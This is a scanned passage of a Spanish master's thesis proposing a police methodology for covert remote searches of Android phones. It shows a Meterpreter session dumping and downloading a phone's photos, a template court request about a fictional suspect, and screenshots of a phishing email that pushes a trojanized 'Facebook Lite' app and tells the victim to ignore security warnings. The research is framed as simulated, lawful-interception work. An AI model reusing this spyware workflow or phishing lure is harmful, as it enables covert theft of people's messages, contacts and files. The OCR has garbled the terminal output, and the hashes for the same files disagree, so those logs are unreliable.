check_root Check if device is rooted

dump_calllog Get call log

dump_contacts Get contacts list

dump_sms Get sms messages

geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval collect Manage interval collection capabilities
send_sms Sends SMS from target session

set_audio mode  Set Ringer Mode

sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock

wlan_geolocate  Get current lat-long using WLAN information

meterpreter > |

llustracion 23. llustracion 20. Listado de acciones disponibles con "meterpreter” 2 de 2

Como en el caso concreto que se esta realizando, lo que interesa es conocer si hay imagenes
de menores en el movil del investigado, se realiza una busqueda por las carpetas del
dispositivo, con la finalidad de encontrarlas (nota: en el dispositivo mévil se han introducido

imagenes, pero en absoluto de menores. Simplemente son 3 fotografias realizadas a objetos).

Normalmente, las imagenes en Android se almacenan en la carpeta “DCIM”, por lo que se

procede a acceder a la misma, y se muestra su contenido, como se observa en la “llustracién
24",
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Aplicaciones v Lugares v (] Terminal v 2o B~

root@kali: ~ e o

Archivo _EditarVer Buscar Terminal Ayuda
19:00:00 -0500 property_contexts
00 -0500 publiccert.pem
-0400 root
-0500  sbin
:51:58 -0400 sdcard
1969-12-31 00 -0500 seapp_contexts
196 19:00:00 -0500 sepolicy
0500 sepolicy version
00 -0500 service contexts
-0500 storage
-0500 sys
-0500 system
-0500 tombstones
0 -0500 ueventd.qcom.rc
0500 ueventd. rc
37 -0400 vendor

Name

-0400 .SPenSDK36

-0400 Pictures
0400 Playlists

meterprete DCIM
meterprete
Listing: /storage/enulated/legacy/DCIM
Name

W W= FWX :44 -0400 .thumbnails
w-rw- 4096 dir 2017-06-89 10:50: -0400 Camera

cd Camera
1s

rage/emulated/legacy/DCIM/Camera

size  Type Last modified Nane

100666/ rw-rw-rw- 4435398 fil 2 9 10:50:31 -0400 20176609 165631.jpg
ri-rw- 4115004 fil  2017-86-69 1 4 -0400 20170609 165634. jpg

ni-rw- 2925736 il  2017-86-09 10:50:42 -0480 20170609 165042.3pg

meterpreter > |

llustracién 24. Acceso y contenido a la carpeta de almacenamiento de las fotografias

Una vez localizadas las fotografias, se procede a realizar el “hash” de los archivos, mediante
el comando “checksum”. Para el ejemplo se va a utilizar la funcién hash (SHA-1, 2017), como

se observa en la “llustracion 25”.

Mode Size Type Last modified Name

100666/ rw-rw-rw- 4435398 fil 2017-06-09 10:50:31 -0400 20170609 165031.jpg
100666/ rw-rw-rw- 4115904 fil 2017-06-09 10:50:34 -0400 20170609 165034.jpg
100666/ rw-rw-rw- 2925736 fil 2017-06-09 10:50:42 -0400 20170609 165042.jpg

eterpreter > checksum shal 20170609 165031.jpg
14492c289%9achTefbd209908dab55761c98467741 20170609 165031. jpg
eterpreter > checksum shal 20170609 165034.jpg
9a400551414d94285ced0472b77TT0b79c3d3b48 20170609 165034. jpg
eterpreter > checksum shal 20170609 165042.jpg
2b29f6edect2771cbad609d5cacd7edbb86c34b 20170609 165042. jpg
eterpreter > |

llustracién 25. Hash SHA-1 de las fotografias que se van a descargar

A continuacion, se procede a la descarga de las imagenes mediante el comando “download”,

como se observa en la “llustraciéon 26”.
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Listing: /storage/emulated/legacy/DCIM

Type Last modified Name

40667/rw-rw-rwx 4096 dir 2017-06-09 10:50:44 -0400 .thumbnails
40666/ rw-rw-rw- 4096 dir 2017-06-09 10:50:42 -0400 Camera

meterpreter > download /storage/emulated/legacy/DCIM/Camera
downloading: /storage/emulated/legacy/DCIM/Camera/20170609 165031 -> Camera/20170609 165031.jpg
download : /storage/emulated/legacy/DCIM/Camera/20170609 165031 -> Camera/20170609 165031.jpg
downloading: /storage/emulated/legacy/DCIM/Camera/20170609 165034 -> Camera/20170609 165034.jpg
download : /storage/emulated/legacy/DCIM/Camera/20170609 165034 -> Camera/20170609 165034.jpg
downloading: /storage/emulated/legacy/DCIM/Camera/20170609 165042 -> Camera/20170609 165042.jpg
download : /storage/emulated/legacy/DCIM/Camera/20170609 165042 -> Camera/20170609 165042.jpg

meterpreter > |j

llustracién 26. Descarga de las fotografias

El siguiente paso es volver a realizar la funcién hash sobre los archivos originales (llustracion
27) y, después, sobre los que se han descargado (llustracion 28). Si los 3 valores calculados

para cada fichero coinciden, es que no se han producido modificaciones en los mismos.

meterpreter > cd Camera
meterpreter > checksum shal 20170609 165031.jpg

44492c289%acbTefbd209908dab55761c98467741 20170609 165031.jpg
meterpreter > checksum shal 20170609 165034.jpg
c9a400551414d94285ced0472b7fT0b79c3d3b48 20170609 165034.jpg
meterpreter > checksum shal 20170609 165042.jpg
22b29f6edect2771cbad609d5cacd7edbb86c34b 20170609 165042.jpg

meterpreter > |}

llustracién 27. Comprobacién de los valores hash de los archivos originales en el dispositivo

-

r

Archivo Editar Ver Buscar Terminal Ayuda
:~/Camera# 1s -1

- 1 root root 4435398 jun 9 10:50 20170609 165031.jpg

- 1 root root 4115904 jun 9 10:50 20170609 165034.jpg

- 1 root root 2925736 jun 9 10:50 20170609 165042.jpg

:~/Camera# openssl dgst -shal 20170609 165031.jpg
SHA1(20170609 165031.jpg)= 44492c289%acbfefbd209908dab55761c98461741

:~/Camera# openssl dgst -shal 20170609 165034.jpg
SHA1(20170609 165034.jpg)= c9a400551414d94285ced0472b7ffOb79c3d3b48

:~/Camera# openssl dgst -shal 20170609 165042.jpg
SHA1(20170609 165042.jpg)= 22b29f6edecf2771cbad609d5cacd7edbb86c34b

:~/Camera# ]

llustracién 28. Comprobacién de los valores hash de los archivos copiados

Estos valores hash calculados, seran la referencia durante todo el proceso penal, para poder

comprobar que los archivos no han sido modificados.
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A partir de las acciones anteriores, se realizaria un Acta de registro remoto, por parte de los
agentes habilitados por el Juez de Instruccion, en la que constaria el proceso realizado
durante el registro remoto (afiadiendo imagenes), asi como el calculo de los valores hash de
los archivos copiados. De este modo, se dejara constancia escrita de todas las acciones
llevadas a cabo.

g) Informe periédico al Juez de Instruccién con las novedades de la investigacion

Durante el desarrollo de la ejecucién de la medida y, segun lo indicado por el Juez de
Instruccion en el Auto de autorizacion, éste debera ser informado de todas las novedades y
avances en la investigacion, si los hubiera, explicitando toda aquella informacion nueva y

relevante, conseguida gracias a la aplicacion de la medida.

En el presente supuesto, se informaria al Juez de Instruccion de las fotografias que se han
hallado en el dispositivo, remitiéndole el Acta de registro remoto llevada a cabo, asi como un
informe del analisis del contenido de dichas fotografias (incluyendo los metadatos de esos

archivos, que pueden dar informacion acerca de la autoria de las fotografias).
h) Solicitud de prérroga (en su caso)

Si el tiempo inicial de la solicitud se agotara sin resultados o, si en base a los datos que se
han obtenido durante el registro remoto del dispositivo.

En el presente caso se han hallado diversas fotografias, almacenadas en la carpeta que utiliza
la camara de fotografias del dispositivo, pero eso no indica que hayan sido realizadas con ese
dispositivo. Sin embargo, el analisis de los metadatos de esas fotografias si que puede dar
informacion a los investigadores sobre el lugar en el que se realizaron, asi como el dispositivo

utilizado, lo que si que resultaria muy relevante para la investigacion.

Para examinar esos metadatos se hara uso de (exiftool, 2003). Como se observa en la
“llustracion 277, aparece el dispositivo desde el que se realizo la fotografia, un Samsung GT-

19505, que es un Samsung Galaxy S4, es decir, el mismo modelo del teléfono del investigado.
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w0 B~

root@kali: ~/Camera o0

736 jun 9 10:50 20170609 50
120170609 165631. jpg
: 10.40

0.
: 20170609 165631.jpg

: ipg
: image/jpeg
: Little-endian (Intel, IT)
: samsung
: GT-19505
Rotate 99 CW
172
172
: inches
: I9505XXUH0J2
Date : 2017:06:09 16:50:30
Cr Positioning
Exposure Time
F Number

:09
09 16:50:30
cr, -

al Length : mn
User Comment : METADATA-START
Flashpix Version : 0108

e

Exif Inage Height

B

e W 8

H 2
Interoperability Index

0

- DCF basic file (sRGB)

~chip color area
ectly photographed

: Auto
: 31 mm
: Standard
: S13FOSAGKO1
: JPEG (old-style)
: 5116
50
8

2
eline DCT, Huffman coding

Color Components

llustracién 29. Metadatos de una imagen utilizando "exiftool"

En este caso no se tienen datos del lugar donde se realizé la fotografia, supuestamente por

no tener conectado dicho servicio el investigado en su teléfono movil.

Con los datos recogidos durante todo el proceso, en el presente caso no se estima procedente
la solicitud de la prérroga de autorizacion del registro remoto puesto que, con la informacion
que se posee, es suficiente para realizar la detencion por los delitos mencionados

anteriormente (incluyendo el de elaborar el material pornogréfico).
i) Solicitud de cese de la medida

Como ya se han conseguido toda la informacién necesaria antes de la finalizacion del plazo
inicial de la autorizacion concedida, el paso final con respecto a ésta es solicitar su cese al
Juez de Instruccion.

La solicitud de cese se realizara mediante un escrito (Oficio) en el que se explicara al Juez
por qué se solicita el cese de la medida. Es decir, hay que explicar al Juez que ya se ha
conseguido toda la informacion que se estima necesaria para la investigacion, y que no es

necesario continuar con la practica del registro remoto.
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5. Conclusiones y trabajo futuro

5.1. Conclusiones

El presente Trabajo de Fin de Master ha tratado de poner un inicio de solucién a un
problema para el que se han planteado muy pocas preguntas.

Se ha tratado de dar una guia, paso a paso, desde el inicio de la investigacién, para dar
solucién a cada uno de los objetivos especificos propuestos y, por lo tanto, conseguir
dar solucién al objetivo general.

Con respecto a los objetivos especificos, la identificacion de los requisitos legales se ha
llevado a cabo teniendo en cuenta la legislacién vigente en Espafa. Ademas, para la
interpretacién de algunos de los preceptos, se ha contado con la opiniéon de expertos en
la materia, referenciados en la Bibliografia, si bien, ante la falta de jurisprudencia, necesaria
para afinar mucho mas varios conceptos de la legislacion, asi como su alcance, se ha hecho
una interpretacion estricta de los textos legales (por ejemplo, en la colaboracion de los sujetos
obligados, no se hace referencia a ningun tipo de limitacién en el texto legal, por lo que se
interpreta la norma tal cual, es decir, se puede pedir y el Juez puede conceder autorizacion,
para cualquier tipo de colaboracién de la que dicho sujeto obligado sea capaz, sin mas
limitacion que su capacidad real). De este modo, se ofrece una explicacion clara y simple
de la legislacién vigente, lo que permite que los investigadores pueden tener mucho mas
claro qué es lo que se necesita, y qué es lo que se puede conseguir, legalmente.

En lo que respecta a la identificacién, de la forma mas completa posible, del dispositivo a
registrar, se ha ofrecido el uso de diversas herramientas de escaneo y captura de trafico,
que pueden aportar una gran cantidad de datos sobre el mismo. Igualmente, todas las técnicas
de investigacion policiales que se utilicen, pueden servir para la identificacion, aunque sélo
sea de modo parcial, del dispositivo a registrar. Quiza, en alguna ocasion, incluso pudiera
no ser necesario hacer uso de aquellas herramientas por haber identificado por
completo el dispositivo mediante el uso de técnicas de investigacion policial (aunque
no es lo mas habitual). Ademas, también se ha relacionado a los sujetos obligados a colaborar,
los cuales pueden ser solicitados (como podrian ser Movistar, Vodafone u Orange) para
facilitar todos los datos del dispositivo de los que dispongan.

En lo referente a los medios técnicos necesarios para llevar a cabo la metodologia propuesta
con éxito, se ha ofrecido una serie de hardware y software recomendado para realizarlo.
Este hardware y software es el que se encuentra, por decirlo asi, al alcance de cualquier
persona y organizacion. Claro estd que existirdn tanto nuevo software como hardware,

especifico para los fines del presente Trabajo de Fin de Master, pero que solo estan al alcance
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de entidades gubernativas, por lo que se trataria de materia reservada. Los medios
propuestos facilitan un punto de partida, el cual permite realizar en su totalidad la metodologia
propuesta, y que puede ser actualizado y mejorado continuamente, en funciéon de la
disponibilidad que se vaya generando en el futuro.

También se ha ofrecido un “oficio tipo” de solicitud de autorizacion de la medida, el cual
incluye todos aquellos puntos que se consideran importantes para su concesion. Dicho “oficio
tipo” se puede adaptar a cualquier tipo de investigacion que requiera de la realizacién de un
registro remoto en un dispositivo informatico. De este modo, a la hora de solicitar autorizacién
para la ejecucion de la medida, no se olvidara solicitar ninguna que pueda resultar de interés
para la investigacion.

Finalmente, se ha realizado una intrusion y posterior registro remoto sobre un
dispositivo Android, aplicando la metodologia propuesta. Dicho registro remoto se ha
realizado a modo de simulacion con dispositivos y redes propios, puesto que por motivos
legales obvios no se puede realizar sobre terceros sin su consentimiento o con autorizacion
del Juez (que, evidentemente, no la va a conceder para realizar una prueba). Asi, se ha
seguido la metodologia, paso a paso, sobre un caso “de fantasia”, hasta llegar a la finalizacion
de la misma, consiguiendo asi realizar la realizacién del registro remoto sin el conocimiento
de su titular.

Por lo tanto, los objetivos especificos propuestos para este Trabajo de Fin de Master se han
visto completados. De este modo, mediante el cumplimiento de diversas etapas intermedias,
se consigue la consecucion del objetivo general, que no es otro que ofrecer una metodologia
para poder llegar a realizar registros remotos, mediante la instalacién de un programa
destinado a tal fin, haciendo uso para ello de la Ingenieria Social y, por lo tanto, sin el
conocimiento de su titular.

Para finalizar con las conclusiones, se ha llegado a un convencimiento: si bien el eslabén mas
debil de la seguridad son las personas, también es cierto que para que un programa se instale
y ejecute, habiendo utilizado Ingenieria Social, es necesaria la voluntad de las personas para
realizarlo. Es decir, se depende totalmente de la persona investigada para que el registro
remoto tenga éxito. Y para conseguir se la voluntad de la persona investigada sea la de
instalar el software que le ha sido enviado, se han ofrecido una serie de herramientas para

ganarse la confianza del objetivo y conseguir que instale la aplicacion que se desea.
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5.2. Lineas de trabajo futuro

Como lineas principales de trabajo futuro, se proponen las siguientes:

e Contar con un mayor numero de herramientas, que permitan que la instalacién del
software destinado a realizar el registro remoto sea llevada a cabo sin apenas

participacion por parte de la persona investigada.

e Contar con software mas especifico para la realizacion de los registros remotos. Un
buen punto de partida seria la elaboracion de un listado de software permitido o

recomendado por parte de la Autoridad Judicial.

e Aplicaciéon de la metodologia propuesta en el presente Trabajo Fin de Master por
parte de las Fuerzas y Cuerpos de Seguridad competentes para la investigacién de
este tipo de delitos, y conocimiento y aplicaciéon de la misma por parte del Poder
Judicial y Fiscalia. De este modo, se podrian realizar mejoras en la metodologia, asi
como tasar y perfilar, de una forma mas precisa, los limites que presentaria la

legislacion vigente en su aplicacién real.
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Anexos

Anexo | — Oficio de solicitud

(0] F | C | (0]
S/REF:

N/REF: XXXXXX/2015

FECHA: XX-xx-2017

ASUNTO: Solicitud autorizacién registro remoto de equipo informatico
DESTINATARIO: JUZGADO DE INSTRUCCION NUMERO XXXX, XXXXXXX

El Grupo de Investigacion Tecnolégica, perteneciente la Brigada Provincial de Policia Judicial,
de la Comisaria Provincial de XXXXXXXX del Cuerpo Nacional de Policia, se encarga de la
investigacion de todos los delitos cometidos a través del uso de equipos informaticos y de las

llamadas “nuevas tecnologias”.

En fecha XXXXX, por parte del citado Grupo de Investigacion, se tuvo conocimiento de que
Arturo ESPANOL ESPANOL, presuntamente, se dedicaba a realizar fotografias con su
teléfono mévil a menores de entre 5 y 15 afos, los cuales debian posar en actitud de caracter

erotico o sexual.

Segun la informacion recibida, tras la realizacion de dichas fotografias, éstas eran compartidas
por el filiado a través de pendrives USB, haciendo uso de envios de paqueteria urgente para
hacer llegar dichos dispositivos, los cuales contenian las fotografias de los menores, ya

referenciadas, a los diferentes destinatarios.

Tras la realizacion de diferentes investigaciones, se llegé a determinar que el anteriormente
filiado, acudia con una periodicidad de, al menos, 2 veces por semana, a una empresa de

paqueteria, en la que realizaba envios.

En fecha xxxxx, se procedi6 a solicitar al Juzgado de Instruccion XXXXXXX autorizacion para
la interceptacién de dichos envios postales, con el objetivo de verificar que, efectivamente,

contenian fotografias de menores en actitud sexual o erdética.
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Por funcionarios adscritos a este Grupo de Investigacién, en fecha XXXX se procedi6 a la
interceptacion de un paquete postal, cuyo remitente era Arturo ESPANOL ESPANOL y cuyo
destinatario era XXXXXXXXXXXX, realizado por la empresa XXXXX, sita en la calle
XXXXXXX. Dicho paquete intervenido, el cual ya fue remitido al citado Juzgado de Instruccion

para su posterior apertura en sede Judicial, la cual fue llevada a cabo en fecha xxxxxxx.

Tras la apertura de dicho paquete, por parte de este Grupo de investigacion, se solicité el
analisis del contenido del dispositivo USB que se encontraba dentro del paquete. Resultado
del citado analisis, se hallaron xxxx imagenes de menores, de entre 4 y 14 afios de edad,
todas ellas fotografias de caracter sexual explicito. Se remitid6 informe al Juzgado de

Instruccion XXXXXX en fecha xxxxxx con las conclusiones del analisis del dispositivo USB.

Mediante vigilancias y seguimientos realizados, se ha constatado que el anteriormente filiado
utiliza un cable USB OTG (USB on the go, que permite la descarga de datos directamente
desde un teléfono moévil a un pendrive USB) varias veces a la semana. Dicha accion la realiza
tras la permanecer varias horas en un piso sito en la calle XXXXXXX, si bien no se ha

observado la salida de ningun menor del citado lugar posteriormente a la salida del filiado.

También se ha constatado que Arturo ESPANOL ESPANOL utiliza las redes inalambricas
abiertas de diferentes comercios con su teléfono mavil, el cual se conecta a las mismas de
forma automatica, lo que da a entender que tiene activado el servicio “WiFi” de su teléfono
movil continuamente. Sobre todo, se ha observado que todos los dias de lunes a viernes, de
14 a 22 horas permanece en el Centro Civico El Carmen, sito en xxxxxxxx, en el cual trabaja
y que en el mismo hace uso de su teléfono mévil, estando conectado a la red inaldmbrica
publica de dicho lugar. Por ello, el envio del correo electrénico con el software y posterior
instalacién, se realizaria utilizando dicha red, puesto que se ha comprobado que el nimero

de usuarios conectados a esas horas es muy bajo (una media de 3 usuarios).

Igualmente, realizadas las comprobaciones pertinentes, en dicho lugar no consta como

ocupante ningun menor.

Por todo lo anterior, se tienen importantes indicios de que Arturo ESPANOL ESPANOL es
quien realiza directamente las fotografias a los menores, para después remitirlas a diferentes
destinatarios, lo que podria ser constitutivo de un delito previsto en el articulo 189 del Cédigo

Penal, para el cual tiene competencia investigadora este Grupo de Delitos Tecnolégicos.

Con el fin de poder comprobar, pues no es posible determinarlo mediante las técnicas de
investigacion habituales, aplicadas hasta el momento, que es Arturo ESPANOL ESPANOL
quien efectivamente realiza directamente las fotografias a los menores, realiza la copia de

dichas fotografias a un pendrive USB y posteriormente envia el dispositivo que contiene las
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imagenes mediante paqueteria urgente, se solicita de V.. que libre mandamiento de
autorizacion, con una duracion inicial de 1 mes, para la utilizacién de datos de identificacién y
cédigos, asi como la instalacion de un software, que permitan, de forma remota y telematica,
el examen a distancia y sin conocimiento de su titular o usuario del contenido de un ordenador,
dispositivo electronico, sistema informatico, instrumento de almacenamiento masivo de datos
informaticos o base de datos, concretamente para el teléfono movil personal de Arturo
ESPANOL ESPANOL, del cual se conocen los siguientes datos: nimero de teléfono movil 66-
666-666, Samsung Galaxy S4, Sistema Operativo Android, email utilizado

“‘jreacherprueba@gmail.com”.

Se procedera al acceso al dispositivo de forma remota (mediante el uso de Ingenieria Social),

utilizando software especifico para el Sistema Operativo Android para el registro remoto.

Igualmente, se solicita que libre mandamiento a “MOVISTAR XXXXXXXX”, con CIF xxxxx y
domicilio social en XXXXXXXXXXXXXXXX, para que preste colaboracién en lo referente a las
cuestiones técnicas necesarias para la instalacién del software indicado de forma remota,
pues se tiene conocimiento de que el nimero de teléfono anteriormente indicado, pertenece

a dicha operadora de telefonia.

También se solicita a V.l. que conceda autorizacidén para la realizacién de copia de los datos
relevantes para la presente investigacion, los cuales quedaran almacenados en un dispositivo
extraible, en poder de este Grupo, garantizando la integridad de los mismos mediante la
aplicacion de funciones hash a los mismos, lo que permite comprobar, durante todo el

proceso, que no han sido modificados.

Se significa que los funcionarios adscritos a este Grupo de Investigacion que llevaran a cabo
la medida, caso de ser autorizada, se identifican mediante los numeros de carné profesional

XXXXX'Y XXXXXX.

Vista la cantidad de indicios existentes para presumir racionalmente que Arturo ESPANOL
ESPANOL podria estar realizando fotografias de caracter sexual a menores de edad, y dada
la gravedad del delito que corresponde a la realizacion de dichas acciones, correspondientes
a un delito previsto en el articulo 189 del Cddigo Penal, es por lo que se estima proporcionada
la adopcién de la medida solicitada a V.I., con una duracién inicial de 1 mes. Que dicha medida
se torna imprescindible para la investigacion, pues se han agotado todas las técnicas
policiales de investigacién hasta el momento y es la medida idénea para realizar la

comprobacion efectiva de los hechos descritos anteriormente.
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Anexo Il — Capturas de pantalla del teléfono mévil

Principal

Roberto Kaplan Saiz 13:51
Nuevas formas de compartir

Facebook Lite Una experiencia mas rap...

llustracion 30. Imagen del correo electrénico recibido en el dispositivo a registrar remotamente.
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R % .4l 88%H@ 16:53

Nuevas formas de compartir

Recibidos

Roberto Kaplan Saiz «
para yo
13:51 Ver detalles

Facebook Lite

Una experiencia mis répida de Facebook para Android

De:
1.14M8
Esta version de Facebook usa menos datos y funciona en todas las condiciones de red.

Facebook Lite:

Se instala rapidamente: la aplicacion ocupa menos, por lo que se descarga en seguida y usa menos espacio de almacenamiento.
Funciona en teléfonos Android antiguos: puedes usarla en teléfonos Android antiguos que no admiten la aplicacion de Facebook normal.
Usa menos datos: el uso de tus datos méviles sera mas eficiente. Ahorra dinero usando menos datos.

Se carga rapidamente: es nuestra aplicacion més rapida. Sube fotos antes y consulta las actualizaciones de tus amigos

Funciona en todas las redes: estd disefiada para redes 26 y zonas con una conexion a internet lenta o inestable.

Instalacion:

. Descarga la aplicacion mediante el boton "Descargar’
- Tienes que habilitar la 6n de de “fuentes " en tu teléfono mévil. Pero no te preocupes, somos nosotros!!
« Tuteléfono te dira que no es seguro, pero no te preocupes, es porque se trata de una nueva version premium!!

+ Los permisos que se solicitan durante la instalacion son los de siempre

Compatibilidad:
Android 2.2 o superior
Ultima actualizacién:

1 de junio de 2017

Espaiiol (Espaiia)

llustracién 31. Aspecto del contenido del correo electrénico recibido en el dispositivo a registrar
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® % . 89%Hl 16:58

f Lite

¢ Quieres instalar esta aplicacion? Podra
acceder a:

PRIVACIDAD

-

VA
&y

Leer ID y estado teléfono

[lamar a nimeros de teléfono
directamente

es posible que se cobre por usar la
® aplicacion.

Enviar mensaje de texto

es posible que se cobre por usar la
& aplicacion.
leer tus mensajes de texto (SMS o MMS)
recibir SMS

Hacer fotos/grabar videos
Grabar audio

ubicacién aproximada (basada en red)
ubicacién precisa (basada en red y GPS)

CANCELAR SIGUIENTE

llustracion 32. Permisos solicitados durante la instalacion (1 de 3)
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f Lite

¢Quieres instalar esta aplicacién? Podra
acceder a:

modificar o eliminar el contenido de la
tarjeta SD

B} Afadir o eliminar cuentas
buscar cuentas en el dispositivo
crear cuentas y establecer contrasenas

ACCESO DE DISPOSITIVO

T, acceso aInternet sin limites
cambiar conectividad de red
conectarse a redes Wi-Fi y desconectarse
recibir datos de Internet
ver estado de la red
ver estado de Wi-Fi

£3) ejecutarse al inicio
recuperar aplicaciones en ejecucién

CANCELAR SIGUIENTE

llustracion 33. Permisos solicitados durante la instalacion (2 de 3)
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[ Guardando captura de pantalla...
f Lite

¢Quieres instalar esta aplicacién? Podra
acceder a:

ver estado de Wi-Fi

E2) ejecutarse al inicio
recuperar aplicaciones en ejecucién

D mostrar sobre otras aplicaciones

E impedir que el teléfono entre en modo
inactivo
vibrador de control

M Definir fondo de pantalla

L Crear accesos directos
Eliminar accesos directos
enviar difusidon permanente
modificar los ajustes del sistema global

lﬁl com.sec.android.provider.badge.permissio
n.WRITE

CANCELAR INSTALAR

llustracion 34. Permisos solicitados durante la instalacion (3 de 3)
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f Lite

v Aplicacion instalada

FINALIZADO ABRIR

llustracion 35. Mensaje de aplicacion instalada en el dispositivo.
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Facebook

Numero de teléfono movil o correo electronico

Contrasena

Iniciar sesion
o)
Crear cuenta nueva

¢Has olvidado tu contrasena?

Espanol (Espaia)
English
Romana

Mas idiomas...

Ayuda Salir

llustracién 36. Aplicacién modificada en funcionamiento en el dispositivo, totalmente funcional
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Aplicaciones

i 00 E

Play Libros Busqueda por Descargas Dropbox
voz

oo .G \ F

TripAdvisor  Ajustes de Drive Flipboard
Google

» OO

(\[0) 4 Modo Nifos Musica Play Juegos

© K

S Health Smart Teléfono
Manager

llustracién 37. Conjunto de aplicaciones instaladas en el dispositivo, incluyendo "Facebook Lite" modificada.
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